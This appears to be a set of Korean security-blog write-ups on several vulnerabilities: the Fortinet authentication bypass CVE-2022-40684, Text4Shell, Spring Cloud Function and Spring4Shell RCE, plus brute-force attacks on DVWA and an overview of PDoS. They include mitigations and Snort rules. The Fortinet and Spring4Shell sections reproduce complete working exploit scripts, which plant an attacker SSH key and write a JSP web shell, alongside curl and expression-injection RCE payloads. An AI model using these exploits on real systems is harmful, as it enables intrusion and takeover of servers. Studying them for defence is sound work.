1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

1. 개요

- 지속 가능한 서비스 거부공격으로 “플래슁(Phlashing)”이라고도 부름

- 2008년 6월 휴렛패커드(HP)의 시스템보안 연구소장인 Rich Smith가 2008.06월에 유럽 공동체의 보안회의(EUSecWest Security Conference)에서 최초 시연

 

2. PDoS (Permanent Denial Of Service)

- 네트워크를 기반으로 하는 펌웨어(Firmware)를 원격 업데이트시킬 때 그 안에 악성 소프트웨어를 삽입시켜서 목표 시스템을 다운시키는 서비스거부 공격방법

펌웨어
- 프린터, 모뎀, 핸드폰, MP3 등의 각종 기기에 내장되어 있는 PROM(Programmable ROM) 내에 삽입되어 영구적으로 컴퓨터 장치의 일부가 되는 프로그램
- 기기의 성능 향상을 위하여 수시로 업데이트 수행

- PC부터 펌웨어를 사용하는 모든 기기들이 공격 대상

- 감염시킨 후 정보를 빼내거나 기기를 사용하지 못하도록 파괴시키는 목적으로 제작

- 시스템 전반에 위협을 가하는 보편성은 적으나 그동안 무방비 상태로 방치했거나 무관심 해왔던 펌웨어의 취약성에 대한 새로운 형태의 위협

- 삽입되는 악성 소프트웨어는 삽입 후 목표 시스템을 즉각 다운시키는 것과 논리 폭탄(Logic Bomb)처럼 잠복시켜서 범행자가 원하는 시기에 원하는 방법으로 서비스를 거부하는 2가지가 존재

 

3. DDoS와의 차이

3.1 DDoS

- 다수의 좀비 PC로 특정 타겟을 공격해 서버에 부하를 발생시켜 정상적 서비스를 제공하지 못하도록 함

- 핑(Ping) 메시지 등을 대량으로 송신하여 목표 시스템에 버퍼 오버플로우(Buffer Overflow) 상태를 일으켜서 시스템을 다운시키거나 많은 좀비 컴퓨터를 이용하여 목표 시스템을 집중 공격함으로써 시스템을 다운시키는 형태가 대표적

- 서비스 거부 상태를 발생시키려는 목적

 

3.2 PDoS

- 서비스 거부공격뿐 아니라 공격 대상 기기를 사용할 수 없도록 파괴하는 기능도 존재

- 서버를 공격하는 것이 아니라 각종 기기의 펌웨어에 악성 소프트웨어를 삽입시켜서 서비스 거부를 유발

- 정보를 탈취하거나 상대방의 기기를 사용 불능케 하려는 목적 및 기반시설을 파괴하는 등의 사이버 전쟁을 목표

 

- 따라서, PDoS는 DDoS 보다 공격 대상과 파괴력이 더욱 광범위

 

4. 대응

- 전자서명 등 무결성이 증명된 업데이트 적용 및 불분명한 출처에서 파일 다운 지양

- 공격에 노츨되었을 경우 펌웨어를 수정하려는 노력보다 ROM 자체를 교체하는 것이 시간적 비용적으로 빠를 수 있음

1. Apache Commons Tex

- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리

- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개

 

Commons Text – Home

Commons Text Apache Commons Text is a library focused on algorithms working on strings. Documentation We provide documentation in the form of a User Guide, Javadoc, and Project Reports. The Git repository can be browsed, or you can browse/contribute via Gi

commons.apache.org

 

2. CVE-2022-42889

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-42889

- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)

- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점

변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음

 

2.1 취약점 상세

- 취약한 서버 구동

$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell

[사진 2] 취약 서버 구동

- 서버 구동 후 정상 접근 확인

[사진 3] 로컬 접근(위) 및 외부 접근(아래)

- 피해 시스템의 tmp 디렉터리 내용 확인

[사진 4] 피해 시스템 /tmp 파일 내용 확인

- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

[사진 5] Exploit

 

- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음

[사진 6] foo 파일 생성

 

- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 또한, 리버스쉘 생성 가능

[사진 8] 리버스 쉘

 

2.2 취약점 분석

 

Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析 - admin-神风 - 博客园

漏洞介绍 根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}"

www.cnblogs.com

[사진 9] 함수 호출 흐름

 

- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

 

- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출

[사진 10] Substitut() 메소드

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}

 

- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임

- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적

- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).

[사진 11] StringLookup 개체

@Override

public String lookup(String var) {

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}

 

- ScriptStringLookup.lookup() 메서드 호출

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}

 

- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행

[사진 12] 취약점 발생 지점

3. 대응방안

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점 패치 버전 : Apache Commons Text 1.10.0

- 변수 보간기를 기본적으로 비활성화

[사진 13] Apache Commons Text 1.10.0의 변수 보간기 개체

② Snort 룰 적용 후 탐지 및 차단

- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용

- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://commons.apache.org/proper/commons-text/security.html

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66968&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9VEVYVA== 

 

'취약점 > 4Shell' 카테고리의 다른 글

Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

1. Brute Force Attack

- 무작위 대입 공격

- 인증 정보를 알아내기 위해 공격자가 반복적으로, 체계적으로 매번 다른 계정과 비밀번호를 입력하는 공격

- 자동화된 툴이나 스크립트를 사용해 인증 정보를 회득할 때 까지 가능한 모든 조합을 대입

- 일반적으로 하나의 계정에 다수의 비밀번호 대입

- OWASP Top 10 2017에서 A2. 취약한 인증으로 제시되었으며, 2021에서는 A7.Identification and Authentication Failures로 제시됨

[사진 1] OWASP Top 10 2017(좌) OWASP Top 10 2021(우)

1.1 공격 원리

- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입

 

[사진 2] Brute Force Attack 공격 원리

1.2 공격 기법

공격명 설명
무차별 대입 공격
(Brute-Force Attack) 
- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입
역 무차별 대입 공격
(Reverse Brute-Force Attack) 
- 하나의 비밀번호에 다수의 계정을 대입
- 특정인의 계정을 탈취하고자할 때 자주 사용
사전 공격
(Dictionary Attack)
- 미리 정의된(or 가능성 있는) 문자열 목록을 대입
- 공격에 소요되는 시간을 즐이는 동시에 공격 성공률을 높일 수 있음
레인보우 테이블 공격
(Rainbow Table Attack)
- 레인보우 테이블 : 해시함수를 사용하여 만들어낼 수 있는 값들을 저장한 표
- 평문 비밀번호와 각 비밀번호의 해시값이 저장된 사전(레인보우 테이블)을 사용해 해싱 함수를 반대로 되돌려 비밀번호 유추

 

2. 공격 실습

2.1 Brute Force

[사진 3] Login Form

- 버프 슈트 실행 및 Username과 Password 입력 후 로그인 시도

- 버프 슈트에 의해 캡쳐된 패킷을 Intruder로 보냄(Intruder : 사용자가 정의한 자동화 공격을 수행하기 위한 도구)

[사진 4] 버프 슈트

- Intruder 탭 Position(페이로드 구성 설정)에서 [사진 5]와 같이 §로 감싸진 부분이 페이로드이며, password 페이로드만을 §로 감싸줌 (Clear§>password 페이로드 선택>add§)

- password 값만 변경하면서 지속적으로 대입

[사진 5] Intruder

- 그 후 Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

[사진 6] 페이로드 설정

- [사진 6]에서 설정한 옵션에 따라 무작위 대입 공격이 수행

- DVWA에서는 로그인 성공과 실패 시 페이지 내용이 상이하므로 응답 크기(Length)가 다른 것이 공격에 성공한 요청

[사진 7] 공격 수행

2.2 Dictionary Attack

- Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

- Payload Options은 Load로 파일을 불러올 수 있으며, Add로 직접 입력할 수도 있음

[사진 8] 페이로드 설정

- 비밀번호가 password일 경우 Length 값이 다르게 나타나며, Response 확인 시 admin으로 로그인에 성공한 것을 확인 가능

- 따라서, admin 계정의 비밀번호는 password임을 알 수 있음

[사진 9] password

3. DVWA의 Brute Force Attack 대응

3.1 Low 단계

- Brute Force Attack에 대한 대응이 설정 되어있지 않음

 

3.2 Medium 단계

- 로그인 실패 시 2초간 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 10] sleep(2)

 

3.3 High 단계

- 로그인 실패 시 0~3초의 랜덤한 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

[사진 11] sleep(rand(0,3))

 

3.4 Impossible 단계

- 로그인 실패와 관련된 변수를 선언

[사진 12] 로그인 실패 관련 변수

- 다수 로그인 실패(3회)시 계정을 잠금 설정(15분간)

[사진 13] echo

- 로그인 실패 시 출력되는 메시지

[사진 14] 계정 잠김

 

4. 대응방안

- [사진 ]에서 확인되는것 처럼 password, 123456 등 간단하며 유추하기 쉬운 비밀번호가 다수 사용됨

[사진 15] 2021년 한 해 동안 전 세계에서 가장 많이 사용된 비밀번호 순위

 

- Brute Force Attack에 대응방안은 [사진 16]과 같음

[사진 16] 대응 방안

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29
robots.txt  (0) 2022.08.30

1. 스프링 클라우드 (Spring Cloud)

-  분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구

- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크

 

1.1 SpEL(Spring Expression Language)

- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}

 

2. CVE-2022-22963 

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)

취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡

결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능

 

2.1 공격원리

- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행

[사진 2] 공격 원리

 

2.2 취약점 상세

- 취약 서버 구동

git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public

[사진 3] 취약 서버 구동

- 취약한 버전의 Spring Cloud Function 확인

[사진 4] Spring Cloud Function Version 3.1.6

- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음

[사진 5] 루트 디렉터리

- PoC 수행

curl -X POST  http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

[사진 6] PoC 수행

 

- 결과 확인

[사진 7] /tmp/pwned 파일 생성

- 와이어샤크 확인 시 500 응답값이 확인

- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음

[사진 8] 와이어샤크

3. 대응방안

3.1 서버 측면

① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용

- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3

- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가

[사진 9] 보안 패치

- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인

[사진 10] Spring Cloud Function 버전 확인

- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)

 

② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참조

- https://hub.docker.com/r/dockerbucket/cve-2022-22963

- https://sysdig.com/blog/cve-2022-22963-spring-cloud/

- https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0xOCZzb3J0X2NvZGU9JnNvcnRfY29kZV9uYW1lPSZzZWFyY2hfc29ydD10aXRsZV9uYW1lJnNlYXJjaF93b3JkPQ==

1. Spring Framework

- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
- 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션

 

2. CVE-2022-22965

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22965

- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회
- 매개변수 바인딩 과정에서 'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생
① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출
② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환
③ 'class.module.classLoader'를 사용할 수 있게 됨

- 취약 조건
① JDK 9 이상
② Apache Tomcat 서버
③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
④ spring-webmvc 또는 spring-webflux 종속성
⑤ WAR 형태로 패키징
- 결과
'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐

 

2.1 공격원리

- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송

[사진 2] 공격 원리 (https://hagsig.tistory.com/107)

 

2.2 취약점 상세

- 취약한 서버 구동

git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell

[사진 3] 취약 서버 환경 구동

- 도커 컨테이너가 정상적으로 실행되었는지 확인

[사진 4] 취약 서버 웹페이지


- 원격의 공격자는 대상 URL에 대하여 익스플로잇

[사진 5] 익스플로잇 1
[사진 6] 익스플로잇 1 패킷


- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인

[사진 7] 익스플로잇 2 성공
[사진 8] 익스플로잇 2 패킷


- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능

[사진 9] 익스플로잇 3
[그림 10] 익스플로잇 8 패킷

- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)

[그림 11] 404 응답

 

2.2 PoC 분석

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()


- 해당 PoC에서 핵심인 부분은 def run_exploit() 부분

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
파라미터 데이터 설명
class.module.classLoader.resources.context.parent.pipeline.first.pattern %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%
5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
실제 페이로드
class.module.classLoader.resources.context.parent.pipeline.first.suffix .jsp 확장자
class.module.classLoader.resources.context.parent.pipeline.first.directory webapps/ROOT 악의적인 파일이 위치할 디렉터리
class.module.classLoader.resources.context.parent.pipeline.first.prefix shell 생성할 파일의 이름을 설정
